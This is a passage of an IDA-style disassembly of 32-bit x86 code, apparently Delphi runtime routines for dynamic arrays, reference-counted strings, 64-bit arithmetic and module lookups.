		jz	short loc_4000541C
		call	off_4001A018
		retn
; ---------------------------------------------------------------------------


loc_4000541C:				; CODE XREF: sub_4000540C+7j
		mov	al, 10h
		call	sub_40002D50
sub_4000540C	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40005424	proc near		; CODE XREF: sub_40005424+CFp
					; sub_40005540+ACp
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, eax
		mov	esi, edx
		xor	eax, eax
		mov	al, [ecx+1]
		lea	edi, [eax+ecx+0Ah]
		mov	ebp, [edi-4]
		xor	eax, eax
		mov	ecx, [edi-8]
		push	ecx


loc_4000543E:				; CODE XREF: sub_40005424+100j
		mov	ecx, [edi+4]
		sub	ecx, eax
		jle	short loc_40005450
		mov	edx, eax
		add	eax, esi
		add	edx, ebx
		call	sub_40002DFC


loc_40005450:				; CODE XREF: sub_40005424+1Fj
		mov	eax, [edi+4]
		mov	edx, [edi]
		mov	edx, [edx]
		mov	cl, [edx]
		cmp	cl, 0Ah
		jz	short loc_4000548F
		cmp	cl, 0Bh
		jz	short loc_400054A0
		cmp	cl, 0Ch
		jz	short loc_400054B1
		cmp	cl, 0Dh
		jz	short loc_400054C2
		cmp	cl, 0Eh
		jz	short loc_400054E2
		cmp	cl, 0Fh
		jz	loc_400054FB
		cmp	cl, 11h
		jz	loc_4000550C
		mov	al, 2
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		jmp	sub_40002D50
; ---------------------------------------------------------------------------


loc_4000548F:				; CODE XREF: sub_40005424+38j
		mov	edx, [eax+esi]
		add	eax, ebx
		call	sub_400048D8
		mov	eax, 4
		jmp	short loc_4000551D
; ---------------------------------------------------------------------------


loc_400054A0:				; CODE XREF: sub_40005424+3Dj
		mov	edx, [eax+esi]
		add	eax, ebx
		call	sub_40005044
		mov	eax, 4
		jmp	short loc_4000551D
; ---------------------------------------------------------------------------


loc_400054B1:				; CODE XREF: sub_40005424+42j
		lea	edx, [eax+esi]
		add	eax, ebx
		call	sub_4000540C
		mov	eax, 10h
		jmp	short loc_4000551D
; ---------------------------------------------------------------------------


loc_400054C2:				; CODE XREF: sub_40005424+47j
		xor	ecx, ecx
		mov	cl, [edx+1]
		push	dword ptr [ecx+edx+2]
		push	dword ptr [ecx+edx+6]
		mov	ecx, [ecx+edx+0Ah]
		mov	ecx, [ecx]
		lea	edx, [eax+esi]
		add	eax, ebx
		call	sub_40005540
		pop	eax
		jmp	short loc_4000551D
; ---------------------------------------------------------------------------


loc_400054E2:				; CODE XREF: sub_40005424+4Cj
		xor	ecx, ecx
		mov	cl, [edx+1]
		mov	ecx, [ecx+edx+2]
		push	ecx
		mov	ecx, edx
		lea	edx, [eax+esi]
		add	eax, ebx
		call	sub_40005424
		pop	eax
		jmp	short loc_4000551D
; ---------------------------------------------------------------------------


loc_400054FB:				; CODE XREF: sub_40005424+51j
		mov	edx, [eax+esi]
		add	eax, ebx
		call	sub_4000621C
		mov	eax, 4
		jmp	short loc_4000551D
; ---------------------------------------------------------------------------


loc_4000550C:				; CODE XREF: sub_40005424+5Aj
		mov	ecx, edx
		mov	edx, [eax+esi]
		add	eax, ebx
		call	sub_40005B70
		mov	eax, 4


loc_4000551D:				; CODE XREF: sub_40005424+7Aj
					; sub_40005424+8Bj ...
		add	eax, [edi+4]
		add	edi, 8
		dec	ebp
		jnz	loc_4000543E
		pop	ecx
		sub	ecx, eax
		jle	short loc_40005539
		lea	edx, [eax+ebx]
		add	eax, esi
		call	sub_40002DFC


loc_40005539:				; CODE XREF: sub_40005424+109j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40005424	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40005540	proc near		; CODE XREF: sub_40005424+B6p
					; sub_40005540+98p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, eax
		mov	esi, edx
		mov	edi, ecx
		mov	ebp, [esp+10h+arg_0]
		mov	cl, [edi]
		cmp	cl, 0Ah
		jz	short loc_40005586
		cmp	cl, 0Bh
		jz	short loc_4000559D
		cmp	cl, 0Ch
		jz	short loc_400055B1
		cmp	cl, 0Dh
		jz	short loc_400055C5
		cmp	cl, 0Eh
		jz	short loc_400055E6
		cmp	cl, 0Fh
		jz	loc_40005603
		cmp	cl, 11h
		jz	loc_40005617
		mov	al, 2
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		jmp	sub_40002D50
; ---------------------------------------------------------------------------


loc_40005586:				; CODE XREF: sub_40005540+13j
					; sub_40005540+56j
		mov	eax, ebx
		mov	edx, [esi]
		call	sub_400048D8
		add	ebx, 4
		add	esi, 4
		dec	ebp
		jnz	short loc_40005586
		jmp	loc_4000562B
; ---------------------------------------------------------------------------


loc_4000559D:				; CODE XREF: sub_40005540+18j
					; sub_40005540+6Dj
		mov	eax, ebx
		mov	edx, [esi]
		call	sub_40005044
		add	ebx, 4
		add	esi, 4
		dec	ebp
		jnz	short loc_4000559D
		jmp	short loc_4000562B
; ---------------------------------------------------------------------------


loc_400055B1:				; CODE XREF: sub_40005540+1Dj
					; sub_40005540+81j
		mov	eax, ebx
		mov	edx, esi
		call	sub_4000540C
		add	ebx, 10h
		add	esi, 10h
		dec	ebp
		jnz	short loc_400055B1
		jmp	short loc_4000562B
; ---------------------------------------------------------------------------


loc_400055C5:				; CODE XREF: sub_40005540+22j
		xor	ecx, ecx
		mov	cl, [edi+1]
		lea	edi, [ecx+edi+2]


loc_400055CE:				; CODE XREF: sub_40005540+A2j
		mov	eax, ebx
		mov	edx, esi
		mov	ecx, [edi+8]
		push	dword ptr [edi+4]
		call	sub_40005540
		add	ebx, [edi]
		add	esi, [edi]
		dec	ebp
		jnz	short loc_400055CE
		jmp	short loc_4000562B
; ---------------------------------------------------------------------------


loc_400055E6:				; CODE XREF: sub_40005540+27j
					; sub_40005540+BFj
		mov	eax, ebx
		mov	edx, esi
		mov	ecx, edi
		call	sub_40005424
		xor	eax, eax
		mov	al, [edi+1]
		add	ebx, [eax+edi+2]
		add	esi, [eax+edi+2]
		dec	ebp
		jnz	short loc_400055E6
		jmp	short loc_4000562B
; ---------------------------------------------------------------------------


loc_40005603:				; CODE XREF: sub_40005540+2Cj
					; sub_40005540+D3j
		mov	eax, ebx
		mov	edx, [esi]
		call	sub_4000621C
		add	ebx, 4
		add	esi, 4
		dec	ebp
		jnz	short loc_40005603
		jmp	short loc_4000562B
; ---------------------------------------------------------------------------


loc_40005617:				; CODE XREF: sub_40005540+35j
					; sub_40005540+E9j
		mov	eax, ebx
		mov	edx, [esi]
		mov	ecx, edi
		call	sub_40005B70
		add	ebx, 4
		add	esi, 4
		dec	ebp
		jnz	short loc_40005617


loc_4000562B:				; CODE XREF: sub_40005540+58j
					; sub_40005540+6Fj ...
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn	4
sub_40005540	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40005634	proc near		; CODE XREF: sub_4000C230+1C3p
		push	eax
		call	sub_40005400
		pop	eax
		call	sub_40002C3C
		retn
sub_40005634	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40005644	proc near		; CODE XREF: sub_40005650+18p
		xchg	eax, ecx
		xchg	ecx, edx
		call	sub_400049E0
		retn
sub_40005644	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40005650	proc near		; CODE XREF: sub_40016280+2D8p

var_C		= dword	ptr -0Ch

		push	ebx
		push	esi
		push	ecx
		mov	esi, edx
		mov	ebx, eax
		mov	[esp+0Ch+var_C], ebx
		mov	eax, [esp+0Ch+var_C]
		call	sub_40005168
		mov	edx, eax
		mov	ecx, esi
		mov	eax, ebx
		call	sub_40005644
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_40005650	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40005674	proc near		; CODE XREF: sub_40016280+D3p
					; sub_40016280+101p ...

var_4		= dword	ptr -4

		push	ecx
		xor	edx, edx
		mov	[esp+4+var_4], edx
		mov	edx, eax
		test	edx, edx
		jz	short loc_40005685
		sub	edx, 4
		mov	edx, [edx]


loc_40005685:				; CODE XREF: sub_40005674+Aj
		mov	ecx, esp
		xchg	eax, ecx
		xchg	edx, ecx
		call	sub_4000506C
		mov	eax, [esp+4+var_4]
		pop	edx
		retn
sub_40005674	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40005694	proc near		; DATA XREF: .itext:40019034o
		mov	al, 11h
		jmp	sub_40002D50
sub_40005694	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4000569C	proc near		; CODE XREF: sub_40005754+186p
					; sub_400080E8+43p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edx
		push	eax
		mov	eax, [esp+8+arg_4]
		mul	[esp+8+var_8]
		mov	ecx, eax
		mov	eax, [esp+8+var_4]
		mul	[esp+8+arg_0]
		add	ecx, eax
		mov	eax, [esp+8+var_8]
		mul	[esp+8+arg_0]
		add	edx, ecx
		pop	ecx
		pop	ecx
		retn	8
sub_4000569C	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_400056C0	proc near		; CODE XREF: sub_4000679C+68p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	ebx, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		mov	esi, edx
		mov	edi, ecx
		sar	esi, 1Fh
		xor	eax, esi
		xor	edx, esi
		sub	eax, esi
		sbb	edx, esi
		sar	edi, 1Fh
		xor	esi, edi
		xor	ebx, edi
		xor	ecx, edi
		sub	ebx, edi
		sbb	ecx, edi
		jnz	short loc_400056FC
		cmp	edx, ebx
		jb	short loc_400056F6
		mov	ecx, eax
		mov	eax, edx
		xor	edx, edx
		div	ebx
		xchg	eax, ecx


loc_400056F6:				; CODE XREF: sub_400056C0+2Bj
		div	ebx
		mov	edx, ecx
		jmp	short loc_40005743
; ---------------------------------------------------------------------------


loc_400056FC:				; CODE XREF: sub_400056C0+27j
		sub	esp, 0Ch
		mov	[esp+18h+var_18], eax
		mov	[esp+18h+var_14], ebx
		mov	[esp+18h+var_10], edx
		mov	edi, ecx
		shr	edx, 1
		rcr	eax, 1
		ror	edi, 1
		rcr	ebx, 1
		bsr	ecx, ecx
		shrd	ebx, edi, cl
		shrd	eax, edx, cl
		shr	edx, cl
		rol	edi, 1
		div	ebx
		mov	ebx, [esp+18h+var_18]
		mov	ecx, eax
		imul	edi, eax
		mul	[esp+18h+var_14]
		add	edx, edi
		sub	ebx, eax
		mov	eax, ecx
		mov	ecx, [esp+18h+var_10]
		sbb	ecx, edx
		sbb	eax, 0
		xor	edx, edx
		add	esp, 0Ch


loc_40005743:				; CODE XREF: sub_400056C0+3Aj
		xor	eax, esi
		xor	edx, esi
		sub	eax, esi
		sbb	edx, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_400056C0	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40005754	proc near		; CODE XREF: sub_40007E0C+Bp

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFECh
		mov	[esp+24h+var_24], edx
		mov	esi, eax
		mov	ebp, 1
		xor	edi, edi
		mov	[esp+24h+var_1C], 0
		mov	[esp+24h+var_18], 0
		test	esi, esi
		jnz	short loc_40005786
		mov	eax, [esp+24h+var_24]
		mov	[eax], ebp
		jmp	loc_4000595C
; ---------------------------------------------------------------------------


loc_40005785:				; CODE XREF: sub_40005754+37j
		inc	ebp


loc_40005786:				; CODE XREF: sub_40005754+25j
		cmp	byte ptr [esi+ebp-1], 20h
		jz	short loc_40005785
		mov	[esp+24h+var_14], 0
		movzx	eax, byte ptr [esi+ebp-1]
		cmp	al, 2Dh
		jnz	short loc_400057A3
		mov	[esp+24h+var_14], 1
		inc	ebp
		jmp	short loc_400057A8
; ---------------------------------------------------------------------------


loc_400057A3:				; CODE XREF: sub_40005754+45j
		cmp	al, 2Bh
		jnz	short loc_400057A8
		inc	ebp


loc_400057A8:				; CODE XREF: sub_40005754+4Dj
					; sub_40005754+51j
		mov	bl, 1
		cmp	byte ptr [esi+ebp-1], 24h
		jz	short loc_400057DB
		movzx	eax, byte ptr [esi+ebp-1]
		call	sub_4000309C
		cmp	al, 58h
		jz	short loc_400057DB
		cmp	byte ptr [esi+ebp-1], 30h
		jnz	loc_40005891
		movzx	eax, byte ptr [esi+ebp]
		call	sub_4000309C
		cmp	al, 58h
		jnz	loc_40005891


loc_400057DB:				; CODE XREF: sub_40005754+5Bj
					; sub_40005754+69j
		cmp	byte ptr [esi+ebp-1], 30h
		jnz	short loc_400057E3
		inc	ebp


loc_400057E3:				; CODE XREF: sub_40005754+8Cj
		inc	ebp


loc_400057E4:				; CODE XREF: sub_40005754+111j
		movzx	ecx, byte ptr [esi+ebp-1]
		mov	eax, ecx
		add	al, 0D0h
		sub	al, 0Ah
		jb	short loc_400057FF
		add	al, 0F9h
		sub	al, 6
		jb	short loc_40005807
		add	al, 0E6h
		sub	al, 6
		jb	short loc_4000580F
		jmp	short loc_4000586A
; ---------------------------------------------------------------------------


loc_400057FF:				; CODE XREF: sub_40005754+9Bj
		movzx	edi, cl
		sub	edi, 30h
		jmp	short loc_40005815
; ---------------------------------------------------------------------------


loc_40005807:				; CODE XREF: sub_40005754+A1j
		movzx	edi, cl
		sub	edi, 37h
		jmp	short loc_40005815
; ---------------------------------------------------------------------------


loc_4000580F:				; CODE XREF: sub_40005754+A7j
		movzx	edi, cl
		sub	edi, 57h


loc_40005815:				; CODE XREF: sub_40005754+B1j
					; sub_40005754+B9j
		cmp	[esp+24h+var_18], 0
		jnz	short loc_40005825
		cmp	[esp+24h+var_1C], 0
		jb	short loc_4000586A
		jmp	short loc_40005827
; ---------------------------------------------------------------------------


loc_40005825:				; CODE XREF: sub_40005754+C6j
		jl	short loc_4000586A


loc_40005827:				; CODE XREF: sub_40005754+CFj
		cmp	[esp+24h+var_18], 0FFFFFFFh
		jnz	short loc_4000583A
		cmp	[esp+24h+var_1C], 0FFFFFFFFh
		jbe	short loc_4000583C
		jmp	short loc_4000586A
; ---------------------------------------------------------------------------


loc_4000583A:				; CODE XREF: sub_40005754+DBj
		jg	short loc_4000586A


loc_4000583C:				; CODE XREF: sub_40005754+E2j
		mov	eax, edi
		cdq
		push	edx
		push	eax
		mov	eax, [esp+2Ch+var_1C]
		mov	edx, [esp+2Ch+var_18]
		shld	edx, eax, 4
		shl	eax, 4
		add	eax, [esp+2Ch+var_2C]
		adc	edx, [esp+2Ch+var_28]
		add	esp, 8
		mov	[esp+24h+var_1C], eax
		mov	[esp+24h+var_18], edx
		inc	ebp
		xor	ebx, ebx
		jmp	loc_400057E4
; ---------------------------------------------------------------------------


loc_4000586A:				; CODE XREF: sub_40005754+A9j
					; sub_40005754+CDj ...
		cmp	[esp+24h+var_14], 0
		jz	loc_40005942
		mov	eax, [esp+24h+var_1C]
		mov	edx, [esp+24h+var_18]
		neg	eax
		adc	edx, 0
		neg	edx
		mov	[esp+24h+var_1C], eax
		mov	[esp+24h+var_18], edx
		jmp	loc_40005942
; ---------------------------------------------------------------------------


loc_40005891:				; CODE XREF: sub_40005754+70j
					; sub_40005754+81j ...
		movzx	eax, byte ptr [esi+ebp-1]
		add	al, 0D0h
		sub	al, 0Ah
		jnb	short loc_400058FB
		movzx	edi, byte ptr [esi+ebp-1]
		sub	edi, 30h
		cmp	[esp+24h+var_18], 0
		jnz	short loc_400058B4
		cmp	[esp+24h+var_1C], 0
		jb	short loc_400058FB
		jmp	short loc_400058B6
; ---------------------------------------------------------------------------


loc_400058B4:				; CODE XREF: sub_40005754+155j
		jl	short loc_400058FB


loc_400058B6:				; CODE XREF: sub_40005754+15Ej
		cmp	[esp+24h+var_18], 0CCCCCCCh
		jnz	short loc_400058CC
		cmp	[esp+24h+var_1C], 0CCCCCCCCh
		jbe	short loc_400058CE
		jmp	short loc_400058FB
; ---------------------------------------------------------------------------


loc_400058CC:				; CODE XREF: sub_40005754+16Aj
		jg	short loc_400058FB


loc_400058CE:				; CODE XREF: sub_40005754+174j
		push	0
		push	0Ah
		mov	eax, [esp+2Ch+var_1C]
		mov	edx, [esp+2Ch+var_18]
		call	sub_4000569C
		push	edx
		push	eax
		mov	eax, edi
		cdq
		add	eax, [esp+2Ch+var_2C]
		adc	edx, [esp+2Ch+var_28]
		add	esp, 8
		mov	[esp+24h+var_1C], eax
		mov	[esp+24h+var_18], edx
		inc	ebp
		xor	ebx, ebx
		jmp	short loc_40005891
; ---------------------------------------------------------------------------


loc_400058FB:				; CODE XREF: sub_40005754+146j
					; sub_40005754+15Cj ...
		cmp	[esp+24h+var_14], 0
		jz	short loc_40005919
		mov	eax, [esp+24h+var_1C]
		mov	edx, [esp+24h+var_18]
		neg	eax
		adc	edx, 0
		neg	edx
		mov	[esp+24h+var_1C], eax
		mov	[esp+24h+var_18], edx


loc_40005919:				; CODE XREF: sub_40005754+1ACj
		cmp	[esp+24h+var_18], 0
		jnz	short loc_40005925
		cmp	[esp+24h+var_1C], 0


loc_40005925:				; CODE XREF: sub_40005754+1CAj
		jz	short loc_40005942
		cmp	[esp+24h+var_18], 0
		jnz	short loc_40005938
		cmp	[esp+24h+var_1C], 0
		setb	al
		jmp	short loc_4000593B
; ---------------------------------------------------------------------------


loc_40005938:				; CODE XREF: sub_40005754+1D8j
		setl	al


loc_4000593B:				; CODE XREF: sub_40005754+1E2j
		cmp	al, [esp+24h+var_14]
		jz	short loc_40005942
		dec	ebp


loc_40005942:				; CODE XREF: sub_40005754+11Bj
					; sub_40005754+138j ...
		cmp	byte ptr [esi+ebp-1], 0
		setnz	al
		or	bl, al
		jz	short loc_40005955
		mov	eax, [esp+24h+var_24]
		mov	[eax], ebp
		jmp	short loc_4000595C
; ---------------------------------------------------------------------------


loc_40005955:				; CODE XREF: sub_40005754+1F8j
		mov	eax, [esp+24h+var_24]
		xor	edx, edx
		mov	[eax], edx


loc_4000595C:				; CODE XREF: sub_40005754+2Cj
					; sub_40005754+1FFj
		mov	eax, [esp+24h+var_1C]
		mov	edx, [esp+24h+var_18]
		add	esp, 14h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40005754	endp


; =============== S U B	R O U T	I N E =======================================



sub_4000596C	proc near		; CODE XREF: sub_40005974p
					; sub_40007E2C+5p ...
		test	eax, eax
		jz	short locret_40005973
		mov	eax, [eax-4]

locret_40005973:			; CODE XREF: sub_4000596C+2j
		retn
sub_4000596C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40005974	proc near		; CODE XREF: sub_40007F40+3Ap
					; sub_40007F40+5Dp ...
		call	sub_4000596C
		dec	eax
		retn
sub_40005974	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000597C	proc near		; CODE XREF: sub_4000599C+105p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	sub_40005540
		pop	ebp
		retn	4
sub_4000597C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4000598C	proc near		; CODE XREF: sub_4000599C+AFp
		jmp	sub_40005314
sub_4000598C	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40005994	proc near		; CODE XREF: sub_4000599C+2Fp
		call	sub_40005B34
		retn
sub_40005994	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000599C	proc near		; CODE XREF: sub_4000599C+172p
					; sub_40005B28+5p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_8], ecx
		mov	esi, edx
		mov	[ebp+var_4], eax
		mov	ebx, [ebp+var_4]
		mov	ebx, [ebx]
		mov	eax, [ebp+arg_0]
		mov	edi, [eax]
		test	edi, edi
		jg	short loc_400059D5
		test	edi, edi
		jge	short loc_400059C6
		mov	al, 4
		call	sub_40002D50
; ---------------------------------------------------------------------------


loc_400059C6:				; CODE XREF: sub_4000599C+21j
		mov	eax, [ebp+var_4]
		mov	edx, esi
		call	sub_40005994
		jmp	loc_40005B1E
; ---------------------------------------------------------------------------


loc_400059D5:				; CODE XREF: sub_4000599C+1Dj
		xor	eax, eax
		mov	[ebp+var_10], eax
		test	ebx, ebx
		jz	short loc_400059E9
		sub	ebx, 4
		mov	eax, [ebx]
		mov	[ebp+var_10], eax
		sub	ebx, 4


loc_400059E9:				; CODE XREF: sub_4000599C+40j
		movzx	eax, byte ptr [esi+1]
		add	esi, eax
		mov	eax, esi
		mov	edx, [eax+2]
		mov	[ebp+var_18], edx
		mov	edx, [eax+6]
		test	edx, edx
		jz	short loc_40005A02
		mov	esi, [edx]
		jmp	short loc_40005A04
; ---------------------------------------------------------------------------


loc_40005A02:				; CODE XREF: sub_4000599C+60j
		xor	esi, esi


loc_40005A04:				; CODE XREF: sub_4000599C+64j
		mov	eax, edi
		imul	[ebp+var_18]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+var_1C]
		cdq
		idiv	edi
		cmp	eax, [ebp+var_18]
		jz	short loc_40005A1E
		mov	al, 4
		call	sub_40002D50
; ---------------------------------------------------------------------------


loc_40005A1E:				; CODE XREF: sub_4000599C+79j
		add	[ebp+var_1C], 8
		test	ebx, ebx
		jz	short loc_40005A2B
		cmp	dword ptr [ebx], 1
		jnz	short loc_40005A60


loc_40005A2B:				; CODE XREF: sub_4000599C+88j
		mov	[ebp+var_20], ebx
		cmp	edi, [ebp+var_10]
		jge	short loc_40005A50
		test	esi, esi
		jz	short loc_40005A50
		mov	eax, ebx
		add	eax, 8
		mov	edx, edi
		imul	edx, [ebp+var_18]
		add	eax, edx
		mov	ecx, [ebp+var_10]
		sub	ecx, edi
		mov	edx, esi
		call	sub_4000598C


loc_40005A50:				; CODE XREF: sub_4000599C+95j
					; sub_4000599C+99j
		lea	eax, [ebp+var_20]
		mov	edx, [ebp+var_1C]
		call	sub_40002C54
		mov	ebx, [ebp+var_20]
		jmp	short loc_40005ABE
; ---------------------------------------------------------------------------


loc_40005A60:				; CODE XREF: sub_4000599C+8Dj
		dec	dword ptr [ebx]
		mov	eax, [ebp+var_1C]
		call	sub_40002C20
		mov	ebx, eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_14], eax
		cmp	edi, [ebp+var_14]
		jge	short loc_40005A7A
		mov	[ebp+var_14], edi


loc_40005A7A:				; CODE XREF: sub_4000599C+D9j
		test	esi, esi
		jz	short loc_40005AA8
		mov	edx, [ebp+var_14]
		imul	edx, [ebp+var_18]
		mov	eax, ebx
		add	eax, 8
		xor	ecx, ecx
		call	sub_40003580
		mov	eax, [ebp+var_14]
		push	eax
		mov	edx, [ebp+var_4]
		mov	edx, [edx]
		mov	eax, ebx
		add	eax, 8
		mov	ecx, esi
		call	sub_4000597C
		jmp	short loc_40005ABE
; ---------------------------------------------------------------------------


loc_40005AA8:				; CODE XREF: sub_4000599C+E0j
		mov	ecx, [ebp+var_14]
		imul	ecx, [ebp+var_18]
		mov	edx, ebx
		add	edx, 8
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		call	sub_40002DFC


loc_40005ABE:				; CODE XREF: sub_4000599C+C2j
					; sub_4000599C+10Aj
		mov	dword ptr [ebx], 1
		add	ebx, 4
		mov	[ebx], edi
		add	ebx, 4
		mov	edx, edi
		sub	edx, [ebp+var_10]
		imul	edx, [ebp+var_18]
		mov	eax, [ebp+var_18]
		imul	eax, [ebp+var_10]
		add	eax, ebx
		xor	ecx, ecx
		call	sub_40003580
		cmp	[ebp+var_8], 1
		jle	short loc_40005B19
		add	[ebp+arg_0], 4
		dec	[ebp+var_8]
		dec	edi
		test	edi, edi
		jl	short loc_40005B19
		inc	edi
		mov	[ebp+var_C], 0


loc_40005AFF:				; CODE XREF: sub_4000599C+17Bj
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, [ebp+var_C]
		lea	eax, [ebx+eax*4]
		mov	ecx, [ebp+var_8]
		mov	edx, esi
		call	sub_4000599C
		inc	[ebp+var_C]
		dec	edi
		jnz	short loc_40005AFF


loc_40005B19:				; CODE XREF: sub_4000599C+14Dj
					; sub_4000599C+159j
		mov	eax, [ebp+var_4]
		mov	[eax], ebx


loc_40005B1E:				; CODE XREF: sub_4000599C+34j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_4000599C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40005B28	proc near		; CODE XREF: sub_40007E2C+20p
					; sub_40007E2C+57p ...

var_4		= dword	ptr -4

		push	esp
		add	[esp+4+var_4], 4
		call	sub_4000599C
		retn
sub_40005B28	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40005B34	proc near		; CODE XREF: sub_40005314+D0p
					; sub_40005994p ...
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short locret_40005B6D
		mov	dword ptr [eax], 0
		lock dec dword ptr [ecx-8]
		jnz	short locret_40005B6D
		push	eax
		mov	eax, ecx
		xor	ecx, ecx
		mov	cl, [edx+1]
		mov	edx, [ecx+edx+6]
		test	edx, edx
		jz	short loc_40005B64
		mov	ecx, [eax-4]
		test	ecx, ecx
		jz	short loc_40005B64
		mov	edx, [edx]
		call	sub_40005314


loc_40005B64:				; CODE XREF: sub_40005B34+20j
					; sub_40005B34+27j
		sub	eax, 8
		call	sub_40002C3C
		pop	eax

locret_40005B6D:			; CODE XREF: sub_40005B34+4j
					; sub_40005B34+10j
		retn
sub_40005B34	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40005B70	proc near		; CODE XREF: sub_40005424+EFp
					; sub_40005540+DDp
		push	ebx
		mov	ebx, [eax]
		test	edx, edx
		jz	short loc_40005B7B
		lock inc dword ptr [edx-8]


loc_40005B7B:				; CODE XREF: sub_40005B70+5j
		test	ebx, ebx
		jz	short loc_40005B93
		lock dec dword ptr [ebx-8]
		jnz	short loc_40005B93
		push	eax
		push	edx
		mov	edx, ecx
		inc	dword ptr [ebx-8]
		call	sub_40005B34
		pop	edx
		pop	eax


loc_40005B93:				; CODE XREF: sub_40005B70+Dj
					; sub_40005B70+13j
		mov	[eax], edx
		pop	ebx
		retn
sub_40005B70	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40005B98	proc near		; CODE XREF: sub_40013308+Cp

var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch

		add	esp, 0FFFFFFE4h
		push	1Ch
		lea	edx, [esp+20h+var_1C]
		push	edx
		push	eax
		call	sub_40001258	; VirtualQuery
		cmp	[esp+1Ch+var_C], 1000h
		jnz	short loc_40005BB8
		mov	eax, [esp+1Ch+var_18]
		jmp	short loc_40005BBA
; ---------------------------------------------------------------------------


loc_40005BB8:				; CODE XREF: sub_40005B98+18j
		xor	eax, eax


loc_40005BBA:				; CODE XREF: sub_40005B98+1Ej
		add	esp, 1Ch
		retn
sub_40005B98	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40005BC0	proc near		; CODE XREF: sub_40005C08+20p

var_110		= byte ptr -110h

		push	ebx
		push	esi
		add	esp, 0FFFFFEF8h
		mov	ebx, eax
		cmp	dword ptr [ebx+10h], 0
		jnz	short loc_40005BFB
		push	105h
		lea	eax, [esp+114h+var_110]
		push	eax
		mov	eax, [ebx+4]
		push	eax
		call	sub_400011E8	; GetModuleFileNameA
		mov	eax, esp
		mov	dl, 1
		call	sub_40005E24
		mov	esi, eax
		mov	[ebx+10h], esi
		test	esi, esi
		jnz	short loc_40005BFB
		mov	eax, [ebx+4]
		mov	[ebx+10h], eax


loc_40005BFB:				; CODE XREF: sub_40005BC0+Ej
					; sub_40005BC0+33j
		mov	eax, [ebx+10h]
		add	esp, 108h
		pop	esi
		pop	ebx
		retn
sub_40005BC0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40005C08	proc near		; CODE XREF: sub_400062F0+2Cp
					; sub_4000ADE0+ECp ...
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		mov	ebx, off_4001A038
		test	ebx, ebx
		jz	short loc_40005C37


loc_40005C17:				; CODE XREF: sub_40005C08+2Dj
		cmp	esi, [ebx+4]
		jz	short loc_40005C26
		cmp	esi, [ebx+8]
		jz	short loc_40005C26
		cmp	esi, [ebx+0Ch]
